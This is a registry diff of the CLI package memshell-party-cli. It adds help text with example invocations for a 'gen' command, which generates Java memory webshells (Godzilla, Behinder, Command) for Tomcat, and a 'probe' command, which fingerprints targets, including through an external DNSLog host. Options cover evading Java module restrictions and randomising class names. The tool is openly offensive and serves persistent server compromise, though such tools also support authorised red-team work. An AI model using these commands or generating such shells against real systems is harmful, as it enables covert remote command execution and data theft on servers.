memshell-party-cli 0.3.0 → 0.3.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +371 -0
- package/README.md +368 -371
- package/dist/cli.js +36 -2
- package/dist/cli.js.map +1 -1
- package/package.json +2 -2
- package/skills/{SKILL.md → memshell-party/SKILL.md} +7 -1
- package/README.zh-CN.md +0 -368
package/dist/cli.js
CHANGED
|
@@ -1768,7 +1768,26 @@ function toOptions(o) {
|
|
|
1768
1768
|
};
|
|
1769
1769
|
}
|
|
1770
1770
|
function registerGenCommand(program) {
|
|
1771
|
-
program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla password").option("--godzilla-key <key>", "Godzilla key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option3("--decode", "base64-decode the payload before writing")).addOption(new Option3("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").
|
|
1771
|
+
program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla password").option("--godzilla-key <key>", "Godzilla key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option3("--decode", "base64-decode the payload before writing")).addOption(new Option3("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
|
|
1772
|
+
"after",
|
|
1773
|
+
`
|
|
1774
|
+
Examples:
|
|
1775
|
+
$ memparty gen # interactive wizard
|
|
1776
|
+
$ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \\
|
|
1777
|
+
--godzilla-pass pass --godzilla-key key --jdk java8
|
|
1778
|
+
$ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \\
|
|
1779
|
+
--godzilla-pass pass --godzilla-key key -o shell.class
|
|
1780
|
+
$ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \\
|
|
1781
|
+
--command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
|
|
1782
|
+
$ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
|
|
1783
|
+
|
|
1784
|
+
Note: run 'memparty config' to list the available servers, tools, shell
|
|
1785
|
+
types and packers. Some packers (e.g. Base64) are aggregate packers that
|
|
1786
|
+
return several variants at once \u2014 pick a leaf packer (e.g. DefaultBase64)
|
|
1787
|
+
for a single payload. The --json output includes the gate header
|
|
1788
|
+
(shellToolConfig) you need for 'memparty connect' / 'memparty exec'.
|
|
1789
|
+
`
|
|
1790
|
+
).action(async (opts, cmd) => {
|
|
1772
1791
|
const client = createClient(cmd.optsWithGlobals());
|
|
1773
1792
|
const missing = REQUIRED.filter((k) => !opts[k]);
|
|
1774
1793
|
const stdinIsTty = Boolean(process.stdin.isTTY);
|
|
@@ -2588,7 +2607,22 @@ function toOptions2(o) {
|
|
|
2588
2607
|
};
|
|
2589
2608
|
}
|
|
2590
2609
|
function registerProbeCommand(program) {
|
|
2591
|
-
program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content: BasicInfo, Server, OS, JDK, Bytecode, Command").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody method)").option("--req-param-name <name>", "request param name (ResponseBody method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option5("--decode", "base64-decode the payload before writing")).addOption(new Option5("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").
|
|
2610
|
+
program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content: BasicInfo, Server, OS, JDK, Bytecode, Command").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody method)").option("--req-param-name <name>", "request param name (ResponseBody method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option5("--decode", "base64-decode the payload before writing")).addOption(new Option5("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
|
|
2611
|
+
"after",
|
|
2612
|
+
`
|
|
2613
|
+
Examples:
|
|
2614
|
+
$ memparty probe # interactive wizard
|
|
2615
|
+
$ memparty probe -m ResponseBody -c Command -p DefaultBase64 \\
|
|
2616
|
+
--server Tomcat --req-param-name cmd
|
|
2617
|
+
$ memparty probe -m DNSLog -c Server -p DefaultBase64 --host x.dnslog.cn
|
|
2618
|
+
$ memparty probe -m Sleep -c Server -p DefaultBase64 \\
|
|
2619
|
+
--sleep-server Tomcat --seconds 5
|
|
2620
|
+
|
|
2621
|
+
Note: a probe is a detection shell that reports what the target supports.
|
|
2622
|
+
The server name reported by '-c Server' is the value to pass as
|
|
2623
|
+
'memparty gen -s'.
|
|
2624
|
+
`
|
|
2625
|
+
).action(async (opts, cmd) => {
|
|
2592
2626
|
const client = createClient(cmd.optsWithGlobals());
|
|
2593
2627
|
const missing = REQUIRED2.filter((k) => !opts[k]);
|
|
2594
2628
|
const stdinIsTty = Boolean(process.stdin.isTTY);
|